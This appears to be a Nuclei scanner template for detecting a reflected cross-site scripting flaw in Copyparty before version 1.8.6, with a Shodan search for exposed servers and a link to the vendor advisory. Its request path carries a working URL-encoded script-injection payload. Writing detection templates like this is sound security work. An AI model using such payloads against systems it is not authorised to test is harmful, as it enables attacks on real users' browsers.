id: copyparty-xss info: name: Copyparty v1.8.6 - Cross-Site Scripting author: theamanrawat severity: medium description: | Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. The vulnerability in the application's web interface could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/9001/copyparty/security/advisories/GHSA-cw7j-v52w-fp5r metadata: verified: true max-request: 1 shodan-query: title:"copyparty" tags: copyparty,xss http: - method: GET path: - "{{BaseURL}}/?hc=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E" matchers-condition: and matchers: - type: word part: body words: - '' - 'choose your OS' condition: and - type: word part: header words: - 'text/html' - type: status status: - 200 # digest: 4b0a0048304602210095cfecfa21221b6ddb85dd91d4f7931f5a0624cd9f1db01ccf59a6f99fc3a736022100e2be9b7eae118af9fdfcb7a97b38258b93836c614e010201b16f3fb8c79f69d2:922c64590222798bb761d5b6d8e72950